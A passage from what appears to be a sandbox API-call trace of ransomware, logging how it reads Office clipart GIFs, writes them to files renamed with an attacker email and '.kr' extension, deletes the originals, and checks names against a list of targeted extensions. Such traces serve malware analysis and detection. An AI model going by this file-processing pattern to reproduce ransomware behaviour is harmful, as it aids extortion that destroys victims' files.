Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.967] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.967] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.968] GetLastError () returned 0x0 [0203.968] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x148b, lpOverlapped=0x0) returned 1 [0203.969] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1490, lpOverlapped=0x0) returned 1 [0203.970] ReadFile (in: hFile=0x53c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.970] WriteFile (in: hFile=0x36c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.971] SetEndOfFile (hFile=0x36c) returned 1 [0203.971] CloseHandle (hObject=0x36c) returned 1 [0203.971] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.971] SetEndOfFile (hFile=0x53c) returned 1 [0203.974] CloseHandle (hObject=0x53c) returned 1 [0203.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0203.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.975] lstrlenW (lpString=".doc") returned 4 [0203.975] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.975] lstrlenW (lpString=".docx") returned 5 [0203.975] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0203.975] lstrlenW (lpString=".pdf") returned 4 [0203.975] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.975] lstrlenW (lpString=".xls") returned 4 [0203.975] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.975] lstrlenW (lpString=".xlsx") returned 5 [0203.975] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0203.975] lstrlenW (lpString=".ppt") returned 4 [0203.975] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".zip") returned 4 [0203.976] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString=".rar") returned 4 [0203.976] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString=".bz2") returned 4 [0203.976] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.976] lstrlenW (lpString=".7z") returned 3 [0203.976] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".dbf") returned 4 [0203.976] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".1cd") returned 4 [0203.976] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".jpg") returned 4 [0203.976] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".doc") returned 4 [0203.976] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.976] lstrlenW (lpString=".docx") returned 5 [0203.976] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0203.976] lstrlenW (lpString=".pdf") returned 4 [0203.976] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString=".xls") returned 4 [0203.976] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString=".xlsx") returned 5 [0203.976] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0203.976] lstrlenW (lpString=".ppt") returned 4 [0203.976] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.976] lstrlenW (lpString=".zip") returned 4 [0203.977] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.977] lstrlenW (lpString=".rar") returned 4 [0203.977] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.977] lstrlenW (lpString=".bz2") returned 4 [0203.977] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.977] lstrlenW (lpString=".7z") returned 3 [0203.977] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.977] lstrlenW (lpString=".dbf") returned 4 [0203.977] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.977] lstrlenW (lpString=".1cd") returned 4 [0203.977] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0203.977] lstrlenW (lpString=".jpg") returned 4 [0203.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.977] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.977] lstrlenW (lpString="J0099199.GIF") returned 12 [0203.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.469] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=33975) returned 1 [0204.469] CloseHandle (hObject=0x544) returned 1 [0204.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0204.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.469] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.469] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.471] GetLastError () returned 0x0 [0204.471] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x84b7, lpOverlapped=0x0) returned 1 [0204.473] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x84c0, lpOverlapped=0x0) returned 1 [0204.475] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.475] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0204.475] SetEndOfFile (hFile=0x4d8) returned 1 [0204.475] CloseHandle (hObject=0x4d8) returned 1 [0204.475] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.475] SetEndOfFile (hFile=0x544) returned 1 [0204.478] CloseHandle (hObject=0x544) returned 1 [0204.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0204.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString=".doc") returned 4 [0204.485] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.485] lstrlenW (lpString=".docx") returned 5 [0204.485] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0204.485] lstrlenW (lpString=".pdf") returned 4 [0204.485] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString=".xls") returned 4 [0204.485] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString=".xlsx") returned 5 [0204.485] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0204.485] lstrlenW (lpString=".ppt") returned 4 [0204.485] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString=".zip") returned 4 [0204.485] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString=".rar") returned 4 [0204.485] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString=".bz2") returned 4 [0204.485] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.485] lstrlenW (lpString=".7z") returned 3 [0204.485] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString=".dbf") returned 4 [0204.485] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString=".1cd") returned 4 [0204.485] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString=".jpg") returned 4 [0204.485] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.486] lstrlenW (lpString=".doc") returned 4 [0204.486] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.486] lstrlenW (lpString=".docx") returned 5 [0204.486] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0204.486] lstrlenW (lpString=".pdf") returned 4 [0204.486] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.486] lstrlenW (lpString=".xls") returned 4 [0204.486] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.486] lstrlenW (lpString=".xlsx") returned 5 [0204.486] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0204.486] lstrlenW (lpString=".ppt") returned 4 [0204.486] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.486] lstrlenW (lpString=".zip") returned 4 [0204.486] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.486] lstrlenW (lpString=".rar") returned 4 [0204.486] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.486] lstrlenW (lpString=".bz2") returned 4 [0204.486] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.486] lstrlenW (lpString=".7z") returned 3 [0204.486] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.486] lstrlenW (lpString=".dbf") returned 4 [0204.486] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.486] lstrlenW (lpString=".1cd") returned 4 [0204.486] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0204.486] lstrlenW (lpString=".jpg") returned 4 [0204.486] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.487] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0204.487] lstrlenW (lpString="J0099202.GIF") returned 12 [0204.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.488] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4967) returned 1 [0204.488] CloseHandle (hObject=0x544) returned 1 [0204.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0204.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.488] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.488] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.489] GetLastError () returned 0x0 [0204.489] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1367, lpOverlapped=0x0) returned 1 [0204.491] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1370, lpOverlapped=0x0) returned 1 [0204.492] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.492] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0204.492] SetEndOfFile (hFile=0x4d8) returned 1 [0204.492] CloseHandle (hObject=0x4d8) returned 1 [0204.492] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.492] SetEndOfFile (hFile=0x544) returned 1 [0204.495] CloseHandle (hObject=0x544) returned 1 [0204.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0204.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.496] lstrlenW (lpString=".doc") returned 4 [0204.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.496] lstrlenW (lpString=".docx") returned 5 [0204.496] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0204.496] lstrlenW (lpString=".pdf") returned 4 [0204.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.496] lstrlenW (lpString=".xls") returned 4 [0204.496] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.496] lstrlenW (lpString=".xlsx") returned 5 [0204.496] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0204.496] lstrlenW (lpString=".ppt") returned 4 [0204.496] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.496] lstrlenW (lpString=".zip") returned 4 [0204.496] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.496] lstrlenW (lpString=".rar") returned 4 [0204.496] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.496] lstrlenW (lpString=".bz2") returned 4 [0204.496] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.496] lstrlenW (lpString=".7z") returned 3 [0204.496] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString=".dbf") returned 4 [0204.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString=".1cd") returned 4 [0204.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString=".jpg") returned 4 [0204.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString=".doc") returned 4 [0204.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.497] lstrlenW (lpString=".docx") returned 5 [0204.497] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0204.497] lstrlenW (lpString=".pdf") returned 4 [0204.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString=".xls") returned 4 [0204.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString=".xlsx") returned 5 [0204.497] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0204.497] lstrlenW (lpString=".ppt") returned 4 [0204.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.497] lstrlenW (lpString=".zip") returned 4 [0204.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString=".rar") returned 4 [0204.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.497] lstrlenW (lpString=".bz2") returned 4 [0204.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.497] lstrlenW (lpString=".7z") returned 3 [0204.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.498] lstrlenW (lpString=".dbf") returned 4 [0204.498] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.498] lstrlenW (lpString=".1cd") returned 4 [0204.498] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0204.498] lstrlenW (lpString=".jpg") returned 4 [0204.498] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.498] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0204.498] lstrlenW (lpString="J0099203.GIF") returned 12 [0204.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.499] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3904) returned 1 [0204.499] CloseHandle (hObject=0x544) returned 1 [0204.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0204.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.499] 